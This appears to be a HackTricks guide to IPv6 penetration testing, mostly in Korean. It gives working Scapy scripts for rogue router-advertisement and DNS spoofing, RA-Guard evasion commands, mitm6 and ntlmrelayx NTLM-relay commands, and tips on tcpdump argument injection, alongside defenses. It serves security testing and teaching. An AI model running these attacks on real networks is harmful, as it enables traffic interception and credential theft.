Pentesting IPv6
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IPv6 기본 이론
Networks
IPv6 주소는 네트워크 구성 및 장치 상호작용을 개선하도록 구조화되어 있습니다. IPv6 주소는 다음과 같이 나뉩니다:
- 네트워크 프리픽스: 처음 48비트로 네트워크 세그먼트를 결정합니다.
- 서브넷 ID: 그 다음 16비트로 네트워크 내 특정 서브넷을 정의하는 데 사용됩니다.
- 인터페이스 식별자: 마지막 64비트로 서브넷 내 장치를 고유하게 식별합니다.
IPv6는 IPv4에서 사용하는 ARP 프로토콜을 사용하지 않고, 대신 두 가지 주요 메시지를 가진 ICMPv6를 도입합니다:
- Neighbor Solicitation (NS): 주소 해석을 위한 멀티캐스트 메시지.
- Neighbor Advertisement (NA): NS에 대한 유니캐스트 응답 또는 자발적 발표.
IPv6는 또한 특수 주소 유형을 포함합니다:
- Loopback Address (
::1): IPv4의127.0.0.1과 동일하며, 호스트 내부 통신용. - Link-Local Addresses (
FE80::/10): 로컬 네트워크 내부 활동용이며 인터넷 라우팅용이 아닙니다. 같은 로컬 네트워크의 장치들은 이 범위를 사용해 서로를 발견할 수 있습니다.
IPv6의 네트워크 명령 실무 사용
IPv6 네트워크와 상호작용하려면 다음과 같은 명령들을 사용할 수 있습니다:
- Ping Link-Local Addresses:
ping6를 사용해 로컬 장치의 존재를 확인합니다. - Neighbor Discovery:
ip neigh로 링크 계층에서 발견된 장치를 확인합니다. - alive6: 같은 네트워크에서 장치를 발견하기 위한 대체 도구입니다.
아래는 몇 가지 명령 예시입니다:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 주소는 로컬 통신을 위해 장치의 MAC address로부터 유도될 수 있습니다. 다음은 알려진 MAC address로부터 Link-local IPv6 address를 유도하는 간단한 가이드와, 네트워크 내 IPv6 주소 유형 및 발견 방법의 간단한 개요입니다.
MAC Address로부터 Link-local IPv6 address 유도하기
주어진 MAC address **12:34:56:78:9a:bc**로 Link-local IPv6 address를 다음과 같이 구성할 수 있습니다:
- MAC을 IPv6 형식으로 변환:
1234:5678:9abc - 앞에
fe80::를 붙이고 중간에fffe삽입:fe80::1234:56ff:fe78:9abc - 왼쪽에서 일곱 번째 비트를 반전시켜
1234를1034로 변경:fe80::1034:56ff:fe78:9abc
IPv6 주소 유형
- Unique Local Address (ULA): 로컬 통신용으로, 공용 인터넷 라우팅용이 아닙니다. 프리픽스:
FEC00::/7 - Multicast Address: 일대다 통신용. 멀티캐스트 그룹에 속한 모든 인터페이스로 전달됩니다. 프리픽스:
FF00::/8 - Anycast Address: 일대가장 가까운(closest) 통신용. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됩니다.
2000::/3글로벌 유니캐스트 범위의 일부입니다.
주소 프리픽스
- fe80::/10: Link-Local 주소 (169.254.x.x와 유사)
- fc00::/7: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x 같은 사설 IPv4 범위와 유사)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
네트워크 내 IPv6 주소 발견하기
방법 1: Link-local 주소 사용
- 네트워크 내 장치의 MAC address를 확보합니다.
- MAC address로부터 Link-local IPv6 address를 유도합니다.
방법 2: Multicast 사용
- 로컬 네트워크에서 IPv6 주소를 발견하려면 멀티캐스트 주소
ff02::1로 ping을 전송합니다.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
IPv6 네트워크에서 MitM 공격을 수행하기 위한 여러 기법이 있으며, 예를 들면:
- Spoofing ICMPv6 neighbor or router advertisements.
- Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
- Setting up a rogue DHCPv6 server.
필드에서 IPv6 주소 식별
서브도메인 탐색
IPv6 주소와 연관될 가능성이 있는 서브도메인을 찾는 한 방법은 검색 엔진을 이용하는 것입니다. 예를 들어 ipv6.* 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령은 Google에서 사용할 수 있습니다:
site:ipv6./
DNS 쿼리 활용
IPv6 주소를 식별하기 위해 다음과 같은 DNS 레코드 타입을 쿼리할 수 있습니다:
- AXFR: 전체 존 전송(zone transfer)을 요청하여 광범위한 DNS 레코드를 노출시킬 수 있습니다.
- AAAA: IPv6 주소를 직접 조회합니다.
- ANY: 사용 가능한 모든 DNS 레코드를 반환하는 광범위한 쿼리입니다.
ping6로 프로빙
조직과 연관된 IPv6 주소를 확인한 후, ping6 유틸리티로 프로빙할 수 있습니다. 이 도구는 확인된 IPv6 주소의 응답성을 평가하는 데 도움이 되며, 인접한 IPv6 장치를 발견하는 데에도 도움이 될 수 있습니다.
IPv6 로컬 네트워크 공격 기법
다음 섹션에서는 글로벌 프리픽스(global prefix)를 모르는 상태에서도 같은 /64 세그먼트 내에서 실행할 수 있는 실무적인 layer-2 IPv6 공격을 다룹니다. 아래에 제시된 모든 패킷은 link-local이며 로컬 스위치를 통해서만 이동하므로 대부분 환경에서 매우 은밀합니다.
안정적인 랩을 위한 시스템 튜닝
IPv6 트래픽을 다루기 전에, 자신의 테스트로 인해 시스템이 포이즈닝되는 것을 방지하고 대량 패킷 주입/스니핑 시 최적의 성능을 얻기 위해 시스템을 강화하는 것이 권장됩니다.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
모든 IPv6 호스트가 자동으로 여러 멀티캐스트 그룹에 가입(ff02::1, ff02::2, …)하고 SLAAC/NDP를 위해 ICMPv6를 사용하기 때문에, 단 한 개의 패킷도 전송하지 않고 세그먼트 전체를 매핑할 수 있습니다. 다음 Python/Scapy one-liner는 가장 흥미로운 L2 메시지를 수신하여 누가 누구인지 색상 있는 타임스탬프 로그로 출력합니다:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
결과: 몇 초 만에 전체 link-local topology (MAC ⇄ IPv6)를 확보할 수 있으며, active scans에 의존하는 IPS/IDS 시스템에 알림을 발생시키지 않습니다.
Router Advertisement (RA) Spoofing
IPv6 호스트는 기본 게이트웨이 검색을 위해 ICMPv6 Router Advertisements에 의존합니다. 만약 정상 라우터보다 위조된 RAs를 더 자주 주입하면, 기기들은 사용자 모르게 당신을 게이트웨이로 사용하게 됩니다.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
레이스에서 이긴 후 실제로 트래픽을 전달하려면:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Router Advertisement 플래그 (M/O) 및 기본 라우터 우선순위 (Prf)
| 플래그 | 의미 | 클라이언트 동작에 대한 영향 |
|---|---|---|
| M (Managed Address Configuration) | 해당 세그먼트에서 DHCPv6를 통한 stateful 주소 할당이 가능함을 알린다. | DHCPv6 스푸핑이 작동할 수 있다는 강력한 지표. |
| O (Other Configuration) | 호스트가 다른 파라미터(DNS, NTP, …)에 대해 DHCPv6를 사용해야 함을 알린다. | 주소는 보통 SLAAC에서 얻지만, DNS는 DHCPv6로 가로챌 수 있다. |
| M=0 / O=0 | 순수 SLAAC 스타일 네트워크. | DHCPv6가 전혀 나타나지 않을 수 있으므로 mitm6 대신 rogue RA / RDNSS에 집중하라. |
| M=1 / O=1 | 혼합 환경. | DHCPv6와 SLAAC 정보가 공존할 수 있어 스푸핑 표면이 가장 넓다. |
During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
덤프에서 flags [M,O] 필드를 찾으세요 – 추측할 필요 없습니다.
The Prf (Router Preference) field inside the RA header controls how attractive your rogue router looks when multiple gateways are present:
| Prf value | Binary | Meaning |
|---|---|---|
| High | 10 | 클라이언트는 이 라우터를 Medium/Low 라우터보다 선호합니다 |
| Medium (default) | 01 | 거의 모든 정상 장치에서 사용됩니다 |
| Low | 00 | 더 나은 라우터가 없을 때만 선택됩니다 |
When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Combining High Prf, a short interval, and a non-zero lifetime makes your rogue gateway remarkably stable.
RDNSS (DNS) Spoofing via RA
RFC 8106 allows adding a Recursive DNS Server (RDNSS) option inside a RA. This is the go-to DNS hijack primitive when the segment is SLAAC-only (M=0 / O=0) and clients do not talk to DHCPv6. Client support is implementation-dependent, so validate the target OS in the lab instead of assuming universal RDNSS consumption.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
같은 패킷은 DNSSL 옵션을 포함해 검색 도메인이 중요한 IPv6-only 또는 dual-stack 환경에서 단축 이름 해석 경로를 오염시킬 수도 있습니다. 공격을 깔끔하게 중단하면 동일한 옵션과 lifetime=0을 가진 revert RA를 전송하세요.
RA-Guard 회피 실전
RFC 7113은 단순한 RA-Guard 배포가 전체 IPv6 헤더 체인을 파싱하지 못하거나 프래그먼트에서 fail open 될 때 우회될 수 있는 이유를 문서화합니다. 이는 새로운 연구는 아니지만 많은 access switches가 부분적인 필터링만 구현하고 있기 때문에 여전히 운영상 관련성이 큽니다.
최근 thc-ipv6 빌드는 이 점을 도구에서 직접 드러냅니다:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
일반적인 위조 RA가 필터링되고 있는 것을 확인한 후에만 이것들을 사용하세요. 만약 -H/-D/-F가 갑자기 호스트들이 당신의 악성 라우터를 받아들이게 한다면, 이는 스위치가 실제 ICMPv6 RA 페이로드 대신 고정된 IPv6 헤더만 매칭하고 있다는 증거입니다.
DHCPv6 DNS Spoofing (mitm6)
정상적인 RA가 M 및/또는 O를 광고할 때, Windows 클라이언트는 일반적으로 주소나 보조 설정을 위해 DHCPv6 요청을 보냅니다. mitm6는 그 동작을 악용하여 DHCPv6에 응답하고 자신의 link-local IPv6를 짧은 리스로 DNS에 삽입합니다. 이로 인해 다음이 가능해집니다:
- NTLM relay attacks (WPAD + DNS hijacking)
- 라우터를 건드리지 않고 내부 name resolution을 가로채기
- 소음이 적은 표적화 — poisoning을 특정 호스트나 도메인으로 범위화할 수 있기 때문
Typical usage:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
현재 mitm6 빌드의 유용한 정보:
--no-ra옵션은 네트워크가 rogue RA를 탐지할 때 공격을 DHCPv6 전용으로 유지합니다.-d/--domain및--host-allowlist는 세그먼트의 모든 쿼리를 hijacking하는 대신 poisoning 범위를 좁게 유지합니다.--ignore-nofqdn는 DHCPv6 FQDN 옵션을 생략하는 클라이언트로 인한 노이즈를 줄입니다.
세그먼트가 순수 SLAAC(M=0 / O=0)인 경우, mitm6는 보통 적합한 방법이 아닙니다. 대신 rogue RAs / RDNSS를 사용하고 상위 레벨의 릴레이 로직은 WPAD/relay 페이지에 둡니다.
방어
- 관리형 스위치에서 RA Guard / DHCPv6 Guard / ND Inspection.
- 포트 ACL을 통해 합법적인 라우터의 MAC만 RA를 전송하도록 허용.
- 예상치 못한 고빈도 RA 또는 갑작스러운 RDNSS 변경을 모니터링.
- 엔드포인트에서 IPv6를 비활성화하는 것은 임시 해결책으로, 종종 최신 서비스를 깨뜨리고 맹점을 숨깁니다 — 대신 L2 필터링을 권장합니다.
게스트/퍼블릭 SSID에서의 NDP 라우터 탐지 및 관리 서비스 노출
많은 소비자용 라우터는 모든 인터페이스에서 관리 데몬(HTTP(S), SSH/Telnet, TR-069 등)을 노출합니다. 일부 배포 환경에서는 “guest/public” SSID가 WAN/코어에 브리지되어 있고 IPv6 전용인 경우가 있습니다. 라우터의 IPv6가 부팅마다 변경되더라도 NDP/ICMPv6를 통해 이를 안정적으로 알아내고 게스트 SSID에서 관리 플레인으로 직접 연결할 수 있습니다.
게스트/퍼블릭 SSID에 연결된 클라이언트에서의 일반적인 워크플로:
- All-Routers 멀티캐스트
ff02::2로 ICMPv6 Router Solicitation을 보내 라우터를 발견하고 Router Advertisement (RA)를 캡처합니다:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA는 라우터의 link-local 주소와 종종 global address/prefix를 드러냅니다. link-local만 알려진 경우, 연결 시 zone index를 지정해야 한다는 점을 기억하세요. 예: ssh -6 admin@[fe80::1%wlan0]
대안: 사용 가능한 경우 ndisc6 suite를 사용하세요:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- 게스트 SSID에서 IPv6로 노출된 서비스에 접근하기:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- 관리 셸이 wrapper(예: tcpdump)를 통해 패킷 캡처 도구를 제공하는 경우,
-G/-W/-z같은 추가 tcpdump 플래그를 전달해 post-rotate 명령 실행을 달성할 수 있도록 인수/파일명 인젝션이 가능한지 확인하세요. 참조:
대응/비고:
- 관리 인터페이스를 guest/public 브리지에 바인딩하지 마세요; SSID 브리지에 IPv6 방화벽을 적용하세요.
- 가능한 경우 guest 세그먼트에서 NDP/RS/RA에 대해 레이트리밋 및 필터링을 적용하세요.
- 접근 가능해야 하는 서비스에 대해서는 authN/MFA와 강력한 레이트리밋을 적용하세요.
참조
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


